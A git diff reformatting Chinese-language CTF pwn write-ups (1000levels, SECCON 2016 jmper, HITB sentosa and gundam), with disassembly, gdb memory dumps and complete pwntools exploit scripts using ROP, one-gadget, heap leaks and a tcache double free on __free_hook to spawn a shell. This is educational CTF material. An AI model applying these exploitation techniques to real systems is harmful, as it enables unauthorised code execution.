可以用,通过将输入的第二个数设置为偏移,即可通过程序的计算将 system 修改为 one-gadget。 -``` -$ one_gadget libc-2.23.so + +```text +$ one_gadget libc-2.23.so 0x45216 execve("/bin/sh", rsp+0x30, environ) constraints: rax == NULL @@ -368,24 +383,28 @@ constraints: constraints: [rsp+0x70] == NULL ``` + 这里我们选择 `0x4526a` 地址上的 one-gadget。 第二个问题,在随机化的情况下怎么找到可用的 `ret` gadget?这时候可以利用 vsyscall,这是一个固定的地址。(参考章节4.15) -``` + +```text gdb-peda$ vmmap vsyscall Start End Perm Name 0xffffffffff600000 0xffffffffff601000 r-xp [vsyscall] gdb-peda$ x/5i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 - 0xffffffffff600007: syscall - 0xffffffffff600009: ret - 0xffffffffff60000a: int3 + 0xffffffffff600007: syscall + 0xffffffffff600009: ret + 0xffffffffff60000a: int3 0xffffffffff60000b: int3 ``` + 但我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。 最后一次的 payload 和调试结果如下: -``` + +```text gdb-peda$ x/11gx 0x7fffffffec10-0x50 0x7fffffffebc0: 0x4141414141414141 0x4141414141414141 <-- rbp -0x30 0x7fffffffebd0: 0x4141414141414141 0x4141414141414141 @@ -394,32 +413,33 @@ gdb-peda$ x/11gx 0x7fffffffec10-0x50 0x7fffffffec00: 0xffffffffff600000 0xffffffffff600000 <-- ret <-- ret 0x7fffffffec10: 0x00007ffff7a5226a <-- one-gadget ``` -``` + +```text gdb-peda$ ni [----------------------------------registers-----------------------------------] -RAX: 0x0 -RBX: 0x0 +RAX: 0x0 +RBX: 0x0 RCX: 0xa ('\n') -RDX: 0x0 -RSI: 0x0 +RDX: 0x0 +RSI: 0x0 RDI: 0x7fffffffebc0 ('A' , "P") RBP: 0x4242424242424242 ('BBBBBBBB') RSP: 0x7fffffffebf8 --> 0xffffffffff600000 (mov rax,0x60) RIP: 0x555555554f4d (<_Z5leveli+288>: ret) -R8 : 0x0 -R9 : 0x1999999999999999 -R10: 0x0 -R11: 0x7ffff7b845a0 --> 0x2000200020002 +R8 : 0x0 +R9 : 0x1999999999999999 +R10: 0x0 +R11: 0x7ffff7b845a0 --> 0x2000200020002 R12: 0x5555555549d0 (<_start>: xor ebp,ebp) -R13: 0x7fffffffee40 --> 0x1 -R14: 0x0 +R13: 0x7fffffffee40 --> 0x1 +R14: 0x0 R15: 0x0 EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x555555554f45 <_Z5leveli+280>: jmp 0x555555554f4c <_Z5leveli+287> 0x555555554f47 <_Z5leveli+282>: mov eax,0x0 0x555555554f4c <_Z5leveli+287>: leave -=> 0x555555554f4d <_Z5leveli+288>: ret +=> 0x555555554f4d <_Z5leveli+288>: ret 0x555555554f4e
: push rbp 0x555555554f4f : mov rbp,rsp 0x555555554f52 : sub rsp,0x30 @@ -429,18 +449,20 @@ EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) 0008| 0x7fffffffec00 --> 0xffffffffff600000 (mov rax,0x60) 0016| 0x7fffffffec08 --> 0xffffffffff600000 (mov rax,0x60) 0024| 0x7fffffffec10 --> 0x7ffff7a5226a (mov rax,QWORD PTR [rip+0x37ec47] # 0x7ffff7dd0eb8) -0032| 0x7fffffffec18 --> 0x3e8 +0032| 0x7fffffffec18 --> 0x3e8 0040| 0x7fffffffec20 --> 0x4e5546204f ('O FUN') -0048| 0x7fffffffec28 --> 0xff0000 -0056| 0x7fffffffec30 --> 0x0 +0048| 0x7fffffffec28 --> 0xff0000 +0056| 0x7fffffffec30 --> 0x0 [------------------------------------------------------------------------------] Legend: code, data, rodata, value 0x0000555555554f4d in level(int) () ``` + 三次 return 之后,就会跳到 one-gadget 上去。 Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './1000levels': pid 6901 [*] Switching to interactive mode @@ -448,8 +470,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -485,10 +509,10 @@ if __name__ == "__main__": payload += 'B' * 0x8 # rbp payload += p64(ret_addr) * 3 io.sendafter("Answer:", payload) - + io.interactive() ``` - ## 参考资料 -- https://ctftime.org/task/4539 + +- diff --git a/doc/6.1.17_pwn_secconctf2016_jmper.md b/doc/6.1.17_pwn_secconctf2016_jmper.md index 2190238..f2dc291 100644 --- a/doc/6.1.17_pwn_secconctf2016_jmper.md +++ b/doc/6.1.17_pwn_secconctf2016_jmper.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.17_pwn_secconctf2016_jmper) ## 题目复现 -``` -$ file jmper + +```text +$ file jmper jmper: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.24, BuildID[sha1]=9fce8ae11b21c03bf2aade96e1d763be668848fa, not stripped $ checksec -f jmper RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,11 +19,13 @@ $ strings libc-2.19.so | grep "GNU C" GNU C Library (Ubuntu EGLIBC 2.19-0ubuntu6.9) stable release version 2.19, by Roland McGrath et al. Compiled by GNU CC version 4.8.4. ``` + 64 位动态链接程序,但 Full RELRO 表示我们不能修改 GOT 表,然后还开启了 NX 防止注入 shellcode。No canary 表示可能有溢出,not stripped、No PIE 都是好消息。默认开启 ASLR。 在 Ubuntu-14.04 上玩一下: -``` -$ LD_PRELOAD=./libc-2.19.so ./jmper + +```text +$ LD_PRELOAD=./libc-2.19.so ./jmper Welcome to my class. My class is up to 30 people :) 1. Add student. @@ -75,14 +77,16 @@ BBBB1. Add student. 6. Bye :) 6 ``` + 似乎是新建的 student 会对应一个 id,根据 id 可以查看或修改对应的 name 和 memo。 - ## 题目解析 + 程序主要由两部分组成,一个是 `main()` 函数,另一个是实现了所有功能的 `f()` 函数。 -#### main -``` +### main + +```text [0x00400730]> pdf @ main / (fcn) main 170 | main (); @@ -135,9 +139,11 @@ BBBB1. Add student. [0x00400730]> iS ~bss 24 0x00002010 0 0x00602010 48 --rw- .bss ``` + 在 main 函数里分配了两块内存空间,一块是包含了 30 个 student 结构体指针的数组,地址放在 `my_class`(`0x00602030`)。另一块用于存放一个 `jmp_buf` 结构体,这个结构体中保存当前上下文,结构体的地址放在 `jmpbuf`(`0x00602038`)。并且这两个符号都在 `.bss` 段中。 这里就涉及到 `setjmp()` 和 `longjmp()` 的使用,它们用于从一个函数跳到另一个函数中的某个点处。函数原型如下: + ```c #include @@ -145,6 +151,7 @@ int setjmp(jmp_buf env); void longjmp(jmp_buf env, int val); ``` + - `setjmp()`:将函数在此处的上下文保存到 `jmp_buf` 结构体,以供 longjmp 从此结构体中恢复上下文 - `env`:保存上下文的 `jmp_buf` 结构体变量 - 如果直接调用该函数,返回值为 0。如果该函数从 longjmp 调用返回,返回值根据 longjmp 的参数决定。 @@ -154,9 +161,11 @@ void longjmp(jmp_buf env, int val); `longjmp()` 执行完之后,程序就回到了 `setjmp()` 的下一条语句继续执行。 -#### f +### f + 接下来我们看一下各功能的实现(程序设计真的要吐槽一下): -``` + +```text [0x00400730]> pdf @ sym.f / (fcn) sym.f 907 | sym.f (); @@ -408,9 +417,11 @@ void longjmp(jmp_buf env, int val); [0x00400730]> is ~student_num 048 0x00002028 0x00602028 GLOBAL OBJECT 4 student_num ``` + 首先注意到这个函数没有 return 指令,要想离开只有两种方法,一个是 `exit()`,另一个是 `longjmp()` 跳回 main 函数,既然这么设置那当然是有用意的。 通过分析,可以得到 student 结构体和数组 my_class: + ```c struct student { uint8_t id; @@ -423,11 +434,12 @@ struct student *my_class[0x1e]; 漏洞就是在读入 memo 和 name 的时候都存在的 one-byte overflow,其中 memo 会覆盖掉 name 指针的低字节。考虑可以将 name 指针改成其它地址,并利用修改 name 的功能修改地址上的内容。 - ## 漏洞利用 + 所以我们的思路是通过 one-byte overflow,使 my_class[0]->name 指向 my_class[1]->name,从而获得任意地址读写的能力。然后泄漏 system 函数地址和 main 函数的返回地址,将返回地址覆盖以制造 ROP,调用 system('/bin/sh') 获得 shell。 -#### overflow +### overflow + ```python def overflow(): add() # idx 0 @@ -437,10 +449,11 @@ def overflow(): ``` 首先添加两个 student: -``` -gdb-peda$ p student_num + +```text +gdb-peda$ p student_num $1 = 0x2 -gdb-peda$ x/2gx my_class +gdb-peda$ x/2gx my_class 0x603010: 0x00000000006031e0 0x0000000000603250 gdb-peda$ x/30gx *my_class-0x10 0x6031d0: 0x0000000000000000 0x0000000000000041 <-- student chunk 0 @@ -459,8 +472,10 @@ gdb-peda$ x/30gx *my_class-0x10 0x6032a0: 0x0000000000000000 0x0000000000000000 0x6032b0: 0x0000000000000000 0x0000000000020d51 <-- top chunk ``` + 然后利用 my_class[0]->memo 的溢出修改 my_class[0]->name,使其指向 my_class[1]->name: -``` + +```text gdb-peda$ x/30gx *my_class-0x10 0x6031d0: 0x0000000000000000 0x0000000000000041 0x6031e0: 0x0000000000000000 0x4141414141414141 @@ -478,10 +493,13 @@ gdb-peda$ x/30gx *my_class-0x10 0x6032a0: 0x0000000000000000 0x0000000000000000 0x6032b0: 0x0000000000000000 0x0000000000020d51 ``` + 通过 overflow,我们控制了 my_class[1]->name,可以对任意地址(除了GOT表)读或写。 -#### leak +### leak + 然后我们可以修改 my_class[1]->name 为 libc 中任意符号的地址,从而泄漏出需要的地址信息: + ```python def leak(): global system_addr @@ -504,17 +522,19 @@ def leak(): log.info("system address: 0x%x" % system_addr) log.info("main return address: 0x%x" % main_ret_addr) ``` + 于是我们就得到了 system 函数的地址和 main 函数的返回地址。 这里我们利用了 libc 中的 environ 符号,该符号执行一个栈上的地址,通过计算偏移即可得到返回地址。 -``` +```text [*] libc base: 0x7ffff7a15000 [*] system address: 0x7ffff7a5b590 [*] main return address: 0x7fffffffed78 ``` -#### overwrite +### overwrite + ```python def overwrite(): write_name(0, p64(0x602028)) # student_num @@ -522,9 +542,10 @@ def overwrite(): write_name(0, p64(main_ret_addr)) write_name(1, p64(pop_rdi_ret) + p64(0x602028) + p64(system_addr)) # system('/bin/sh') ``` + 接下来我们将 student_num 改为 '/bin/sh',这样一方面为 system 提供了参数,另一方面可以触发 longjmp。 -``` +```text gdb-peda$ x/s 0x602028 0x602028 : "/bin/sh" gdb-peda$ x/3gx 0x7fffffffed78 @@ -532,7 +553,8 @@ gdb-peda$ x/3gx 0x7fffffffed78 0x7fffffffed88: 0x00007ffff7a5b590 ``` -#### pwn +### pwn + ```python def pwn(): add() # call longjmp to back to main @@ -540,8 +562,9 @@ def pwn(): ``` Bingo!!! -``` -$ python exp.py + +```text +$ python exp.py [+] Starting local process './jmper': pid 3935 [*] Switching to interactive mode Exception has occurred. Jump! @@ -550,8 +573,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -629,6 +654,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/3169 + +- diff --git a/doc/6.1.18_pwn_hitbctf2017_sentosa.md b/doc/6.1.18_pwn_hitbctf2017_sentosa.md index b879431..4275cb1 100644 --- a/doc/6.1.18_pwn_hitbctf2017_sentosa.md +++ b/doc/6.1.18_pwn_hitbctf2017_sentosa.md @@ -5,24 +5,26 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.18_pwn_hitbctf2017_sentosa) ## 题目复现 -``` -$ file sentosa + +```text +$ file sentosa sentosa: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=556ed41f51d01b6a345af2ffc2a135f7f8972a5f, stripped -$ checksec -f sentosa +$ checksec -f sentosa RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH Yes 1 3 sentosa $ strings libc-2.23.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu4) stable release version 2.23, by Roland McGrath et al. Compiled by GNU CC version 5.4.0 20160609. ``` + 保护全开,默认开启 ASLR。 在 Ubuntu-16.04 上玩一下: -``` + +```text $ ./sentosa Welcome to Sentosa Development Center Choose your action: @@ -69,11 +71,13 @@ Choose your action: 4 Input your projects number: 0 ``` + 可以新增、查看和删除 project,但修改功能还未实现,这似乎意味着我们不能对堆进行修改。 现在我们给 length 输入 0 试试看: -``` -$ ./sentosa + +```text +$ ./sentosa Welcome to Sentosa Development Center Choose your action: 1. Start a project @@ -91,15 +95,17 @@ Your project is No.0 *** stack smashing detected ***: ./sentosa terminated [2] 5673 abort (core dumped) ./sentosa ``` + 造成了缓冲区溢出,可见字符串读取的函数肯定是存在问题的。 - ## 题目解析 + 下面我们依次来逆向这些函数。 -#### Start a project -``` -[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0 +### Start a project + +```text +[0x00000a30]> pdf @ sub.There_are_too_much_projects_ca0 / (fcn) sub.There_are_too_much_projects_ca0 482 | sub.There_are_too_much_projects_ca0 (); | ; UNKNOWN XREF from 0x00001112 (sub.__isoc99_scanf_80 + 146) @@ -225,7 +231,9 @@ Your project is No.0 | | ; JMP XREF from 0x00000e5b (sub.There_are_too_much_projects_ca0) \ `-----> 0x00000e8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` + 通过上面的分析可以得到 project 结构体和 projects 数组: + ```c struct project { int length; @@ -238,13 +246,15 @@ struct project { struct project *projects[0x10]; ``` + projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 用户输入的 length 必须小于 0x59,使用 malloc(length+0x15) 分配一块堆空间作为 project,然后调用 `read_buf0()` 读入 name 到栈上。读入 name 后将其复制到 project 中,然后将 check 置为 1,最后再依次读入 price、area 和 capacity。 程序自己实现的 `read_bf0()` 函数如下: -``` -[0x00000a30]> pdf @ sub.read_bf0 + +```text +[0x00000a30]> pdf @ sub.read_bf0 / (fcn) sub.read_bf0 148 | sub.read_bf0 (); | ; var int local_0h @ rbp-0x0 @@ -307,13 +317,15 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 | | ; JMP XREF from 0x00000c67 (sub.read_bf0) \ `---> 0x00000c8e call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` + 正如我们一开始猜测的,这个函数是有问题的,如果输入 0 作为 length,则 length-1(能读入的实际长度) 后得到一个负数,在循环判断时,负数永远不会等于一个正数,于是将读入任意长度的字符串(以`\n`结尾),造成缓冲区溢出。 字符串末尾会被加上 `\x00`,且开启了 Canary,暂时还没想到如何利用,继续往下看。另外特别注意 malloc 后得到的 project 的地址存放在 `rsp + 0x6a` 的位置。 -#### View all projects -``` -[0x00000a30]> pdf @ sub.Project:__s_ea0 +### View all projects + +```text +[0x00000a30]> pdf @ sub.Project:__s_ea0 / (fcn) sub.Project:__s_ea0 191 | sub.Project:__s_ea0 (int arg_4h, int arg_8h, int arg_ch); | ; arg int arg_4h @ rbp+0x4 @@ -371,11 +383,13 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 | | ; JMP XREF from 0x00000f4f (sub.Project:__s_ea0) \ `-> 0x00000f5a call sym.imp.__stack_chk_fail ; void __stack_chk_fail(void) ``` + 该函数用于打印出所有存在的 project 的信息。 -#### Cancel a project -``` -[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60 +### Cancel a project + +```text +[0x00000a30]> pdf @ sub.There_are_no_project_to_cancel_f60 / (fcn) sub.There_are_no_project_to_cancel_f60 207 | sub.There_are_no_project_to_cancel_f60 (); | ; CALL XREF from 0x000010e2 (sub.__isoc99_scanf_80 + 98) @@ -436,17 +450,20 @@ projects 位于 `0x00202040`,proj_num 位于 `0x002020c0`。 | 0x0000102f xor edi, edi \ 0x00001031 call sym.imp.exit ; void exit(int status) ``` + 该函数首先检查 project->check 是否被修改(不等于1),如果没有则释放该 project,并将 projects[i] 置 0。否则程序退出。这个函数似乎没有悬指针之类的问题。 - ## 漏洞利用 + 总结一下,就是在 `read_bf0()` 函数中存在一个栈溢出漏洞。 我们来看一下 `read_bf0()` 函数中的内存布局,假设分配一个这样的 project: + ```python start_proj(0x4f, "A"*(0x4f-1), 2, 3, 4) ``` -``` + +```text gdb-peda$ x/22gx $rsp 0x7fffffffec70: 0x00007ffff7dd3780 0x0000004ff7b046e0 0x7fffffffec80: 0x4141414141414141 0x4141414141414141 <-- name @@ -482,13 +499,15 @@ gdb-peda$ x/18gx 0x555555756040 0x5555557560b0: 0x0000000000000000 0x0000000000000000 0x5555557560c0: 0x0000000000000001 0x0000000000000000 <-- proj_num ``` + 所以其实在覆盖到 Canary 之前,我们是有一个 project 地址可以覆盖的,但由于 `read_bf0()` 会在字符串末尾加 `"\x00"`,所以我们只能够将地址的低位覆盖为 `"\x00"`。在新增 project 过程的最后,会将 project address 放到数组 projects 中,所以我们可以将覆盖后的 project address 放进数组。然后利用 View 的功能就可以打印出内容。 另外我们应该注意的是上面的 project address 是最后一次 malloc 返回的地址,即最后添加的 project 的 address。在上面的例子中,如果我们将 project address 覆盖掉,则它指向了 project 的 chunk 头。所以我们可以将其指向一个被释放的 fastbin,它的 fd 指针指向了 heap 上的一个地址,只要将其打印出来就可以通过计算得到 heap 基址。 得到了 heap 基址后,我们就可以将 project address 修改为任意的堆地址,从而读取任意信息。所以下一步我们从堆里得到 libc 地址,接着通过 libc 的 `__environ` 符号得到 stack 地址,最后就可以从栈上得到 Canary。构造 ROP 得到 shell。 -#### leak heap +### leak heap + ```python def leak_heap(): global heap_base @@ -504,8 +523,10 @@ def leak_heap(): heap_base = (0x55<<40) + (leak<<8) # 0x55 or 0x56 log.info("libc base: 0x%x" % heap_base) ``` + 首先分配 3 个 fast chunk,其中第 2 个利用栈溢出修改 project address,使其指向第 chunk 0。然后依次释放掉 chunk 2 和 chunk 0,此时 chunk 0 的 fd 指向了 chunk 2: -``` + +```text gdb-peda$ x/18gx 0x555555756040 0x555555756040: 0x0000000000000000 0x0000555555757000 <-- projects 0x555555756050: 0x0000000000000000 0x0000000000000000 @@ -526,9 +547,11 @@ gdb-peda$ x/16gx 0x555555757010-0x10 0x555555757060: 0x0000000000000100 0x0000000000020fa1 <-- top chunk 0x555555757070: 0x0000000000000000 0x0000000000000000 ``` + 然后 View 打印出来就得到了 heap 基址。这种构造方法还是有一点问题的,不能打印出最高位的 `0x55`,但我们知道这个值相对固定,所以直接加上就可以了。 -#### leak libc +### leak libc + ```python def leak_libc(): global libc_base @@ -550,10 +573,12 @@ def leak_libc(): log.info("libc base: 0x%x" % libc_base) ``` + 由于我们不能直接分配一个 small chunk,所以需要构造一个 fake chunk。利用栈溢出修改 project address 可以做到这一点。另外还需要满足 libc free 的检查,还有 Cancel 过程中的 check。 首先分配 5 个 project,其中最后两个利用漏洞修改了 project address,使其指向 fake chunk。此时内存布局如下: -``` + +```text gdb-peda$ x/18gx 0x555555756040 0x555555756040: 0x0000555555757070 0x0000555555757000 <-- projects 0x555555756050: 0x00005555557570a0 0x0000555555757110 @@ -591,8 +616,10 @@ gdb-peda$ x/50gx 0x555555757010-0x10 0x555555757170: 0x0000000000000100 0x0000000000020e91 <-- top chunk 0x555555757180: 0x0000000000000000 0x0000000000000000 ``` + 释放掉 chunk 4,此时它将被放进 unsorted bin,其 fd, bk 指针指向 libc: -``` + +```text gdb-peda$ x/50gx 0x555555757010-0x10 0x555555757000: 0x0000000000000000 0x0000000000000021 0x555555757010: 0x0000015500000000 0x0000010000000100 @@ -620,9 +647,11 @@ gdb-peda$ x/50gx 0x555555757010-0x10 0x555555757170: 0x0000000000000100 0x0000000000020e91 0x555555757180: 0x0000000000000000 0x0000000000000000 ``` + 将它打印出来即可得到 libc 的基址。 -#### leak stack and canary +### leak stack and canary + ```python def leak_stack_canary(): global canary @@ -653,9 +682,11 @@ def leak_stack_canary(): log.info("canary: 0x%x" % canary) ``` + 通过 libc 地址计算出 `__environ` 的地址,构造 project 并打印出来得到其指向的 stack 地址。然后通过偏移计算得到 canary 地址,同样的方法构造 project,得到 canary。 -#### pwn +### pwn + ```python def pwn(): pop_rdi_ret = libc_base + 0x21102 @@ -673,8 +704,10 @@ def pwn(): io.interactive() ``` + 最后我们就可以构造 ROP 得到 shell 了。 -``` + +```text gdb-peda$ x/24gx $rsp 0x7fffffffec70: 0x00007ffff7dd3780 0x00000000f7b046e0 0x7fffffffec80: 0x4141414141414141 0x4141414141414141 @@ -691,7 +724,8 @@ gdb-peda$ x/24gx $rsp ``` 开启 ASLR。Bingo!!! -``` + +```text $ python exp.py [+] Starting local process './sentosa': pid 11161 [*] heap base: 0x556cac880000 @@ -706,8 +740,10 @@ $ whoami firmy ``` -#### exploit +### exploit + 完整的 exp 如下: + ```python #!/usr/bin/env python @@ -821,6 +857,6 @@ if __name__ == "__main__": pwn() ``` - ## 参考资料 -- https://ctftime.org/task/4460 + +- diff --git a/doc/6.1.19_pwn_hitbctf2018_gundam.md b/doc/6.1.19_pwn_hitbctf2018_gundam.md index c2225a7..3343817 100644 --- a/doc/6.1.19_pwn_hitbctf2018_gundam.md +++ b/doc/6.1.19_pwn_hitbctf2018_gundam.md @@ -5,12 +5,12 @@ - [漏洞利用](#漏洞利用) - [参考资料](#参考资料) - [下载文件](../src/writeup/6.1.19_pwn_hitbctf2018_gundam) ## 题目复现 -``` -$ file gundam + +```text +$ file gundam gundam: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=5643cd77b84ace35448d38fc49e4d3668ef45fea, stripped $ checksec -f gundam RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE @@ -19,14 +19,16 @@ $ strings libc-2.26.so | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2.1) stable release version 2.26, by Roland McGrath et al. Compiled by GNU CC version 6.4.0 20171010. ``` + 保护全开,也默认 ASLR 开。libc 版本 2.26,所以应该还是考察 tcache(参考章节4.14)。 玩一下: -``` + +```text $ ./gundam ... # 创建了两个 gundam -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -39,8 +41,8 @@ Type[0] :Freedom Gundam[1] :BBBB Type[1] :Strike Freedom -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -48,8 +50,8 @@ Type[1] :Strike Freedom Your choice : 3 Which gundam do you want to Destory:0 # 第一次销毁 gundam 0,成功 -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -57,8 +59,8 @@ Which gundam do you want to Destory:0 # 第一次销毁 gundam 0,成功 Your choice : 3 Which gundam do you want to Destory:0 # 第二次销毁 gundam 0,成功 -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -68,8 +70,8 @@ Your choice : 2 # 此时剩下 gundam 1 Gundam[1] :BBBB Type[1] :Strike Freedom -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -77,8 +79,8 @@ Type[1] :Strike Freedom Your choice : 4 # 销毁 factory Done! -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -88,8 +90,8 @@ Your choice : 2 # gundam 1 没有变化 Gundam[1] :BBBB Type[1] :Strike Freedom -1 . Build a gundam -2 . Visit gundams +1 . Build a gundam +2 . Visit gundams 3 . Destory a gundam 4 . Blow up the factory 5 . Exit @@ -98,12 +100,14 @@ Your choice : 3 # 第三次销毁 gundam 0,失败 Which gundam do you want to Destory:0 Invalid choice ``` + 根据上面的结果也能猜出一些东西。比如在没有销毁 factory 的情况下,可以多次销毁 gundam。而销毁 factory 不会对没有销毁的 gundam 造成影响。 - ## 题目解析 -#### main -``` + +### main + +```text [0x000009e0]> pdf @ main / (fcn) main 122 | main (); @@ -172,11 +176,13 @@ Invalid choice ||||| ; JMP XREF from 0x0000116d (main + 168) `````=< 0x00001192 jmp 0x10e6 ; main+0x21 ``` + 一个典型的 switch-case 跳转结构。 -#### Build a gundam -``` -[0x000009e0]> pdf @ sub.malloc_b7d +### Build a gundam + +```text +[0x000009e0]> pdf @ sub.malloc_b7d / (fcn) sub.malloc_b7d 437 | sub.malloc_b7d (int arg_8h); | ; var int local_20h @ rbp-0x20 @@ -303,7 +309,9 @@ Invalid choice 0x00202040 6f6d 0000 0000 0000 4167 6965 7300 0000 om......Agies... 0x00202050 0000 0000 0000 0000 0000 0000 ``` + 通过分析这个函数,可以得到 gundam 结构体(大小为0x28)和 factory(地址`0x002020a0`) 数组: + ```c struct gundam { uint32_t flag; @@ -313,13 +321,15 @@ struct gundam { struct gundam *factory[9]; ``` + 另外 gundam->name 指向一块 0x100 大小的空间。gundam 的数量存放在 `0x0020208c`。 从读入 name 的操作中我们发现,程序并没有在末尾设置 `\x00`,可能导致信息泄漏(以`\x0a`结尾)。 -#### Visit gundams -``` -[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4 +### Visit gundams + +```text +[0x000009e0]> pdf @ sub.Gundam__u__:_s_ef4 / (fcn) sub.Gundam__u__:_s_ef4 254 | sub.Gundam__u__:_s_ef4 (int arg_8h); | ; var int local_ch @ rbp-0xc @@ -391,11 +401,13 @@ struct gundam *factory[9]; | `-> 0x00000ff0 leave \ 0x00000ff1 ret ``` + 该函数先判断 gundam_num 是否为 0,如果不是,再根据 factory[i] 和 factory[i]->flag 判断某个 gundam 是否存在,如果存在,就将它的 name 和 type 打印出来。 -#### Destory a gundam -``` -[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32 +### Destory a gundam + +```text +[0x000009e0]> pdf @ sub.Which_gundam_do_you_want_to_Destory:_d32 / (fcn) sub.Which_gundam_do_you_want_to_Destory:_d32 240 | sub.Which_gundam_do_you_want_to_Destory:_d32 (); | ; var int local_ch @ rbp-0xc @@ -463,16 +475,19 @@ struct gundam *factory[9]; | `-> 0x00000e20 leave \ 0x00000e21 ret ``` + 该函数用于销毁 gundam,它先将 gundam->flag 置为 0,再释放掉 gundam->name。 这里有几个问题: + - 该函数是通过 factory[i] 来判断某个 gundam 是否存在,而在销毁 gundam 后并没有将 factory[i] 置空,导致 factory[i]->name 可能被多次释放 - name 指针没有被置空,可能导致 UAF - 销毁 gundam 后没有将 gundam_num 减 1 -#### Blow up the factory -``` -[0x000009e0]> pdf @ sub.Done_e22 +### Blow up the factory + +```text +[0x000009e0]> pdf @ sub.Done_e22 / (fcn) sub.Done_e22 210 | sub.Done_e22 (int arg_8h); | ; var int local_ch @ rbp-0xc @@ -531,18 +546,21 @@ struct gundam *factory[9]; | `-> 0x00000ef2 leave \ 0x00000ef3 ret ``` + 该函数会找出所有 factory[i] 不为 0,且 factory[i]->flag 为 0 的 gundam,然后将该 gundam 结构体释放掉,factory[i] 置为 0,最后 gundam_num 每次减 1。 经过这个过程,销毁 gundam 留下的问题基本解决了,除了 name 指针依然存在。 - ## Exploit + 所以利用过程如下: + 1. 利用被放入 unsorted bin 的 chunk 泄漏 libc 基址,可以计算出 `__free_hook` 和 `system` 的地址。 2. 利用 double free,将 `__free_hook` 修改为 `system`。 3. 当调用 `free` 的时候就会调用 `system`,获得 shell。 -#### leak +### leak + ```python def leak(): global __free_hook_addr @@ -570,7 +588,8 @@ def leak(): ``` chunk 被放进 unsorted bin 时: -``` + +```text gdb-peda$ vmmap heap Start End Perm Name 0x0000555555757000 0x0000555555778000 rw-p [heap] @@ -603,24 +622,28 @@ Start End Perm Name gdb-peda$ p 0x00007ffff7dd2c78 - 0x00007ffff79f8000 $1 = 0x3dac78 ``` + 可以看到对应的 tcache bin 中已经放满了 7 个 chunk,所以第 8 块 chunk 被放进了 unsorted bin。 再次 malloc 之后: -``` + +```text gdb-peda$ x/6gx 0x555555757b50-0x10 0x555555757b40: 0x0000000000000000 0x0000000000000111 0x555555757b50: 0x0a41414141414141 0x00007ffff7dd2c78 0x555555757b60: 0x0000000000000000 0x0000000000000000 ``` + 可以看到程序并没有在字符串后加 `\x00` 隔断,所以可以将 unsorted bin 的地址泄漏出来,然后通过计算得到 libc 基址。 -``` +```text [*] libc base: 0x7ffff79f8000 [*] __free_hook address: 0x7ffff7dd48a8 [*] system address: 0x7ffff7a3fdc0 ``` -#### overwrite +### overwrite + ```python def overwrite(): destroy(2) @@ -635,7 +658,8 @@ def overwrite(): ``` 触发 double free 时: -``` + +```text gdb-peda$ x/30gx 0x0000555555757000+0x10 0x555555757010: 0x0000000000000000 0x0400000000000000 <-- counts 0x555555757020: 0x0000000000000000 0x0000000000000000 @@ -657,10 +681,12 @@ gdb-peda$ x/6gx 0x0000555555757a10-0x10 0x555555757a10: 0x0000555555757a10 0x0000000000000000 <-- fd pointer 0x555555757a20: 0x0000000000000000 0x0000000000000000 ``` + 其 fd 指针指向了它自己。 接下来的 malloc 将改写 `__free_hook` 的地址: -``` + +```text gdb-peda$ x/6gx 0x0000555555757a10-0x10 0x555555757a00: 0x0000000000000000 0x0000000000000111 0x555555757a10: 0x0068732f6e69622f 0x000000000000000a @@ -671,7 +697,8 @@ gdb-peda$ p system $2 = {} 0x7ffff7a3fdc0 ``` -#### 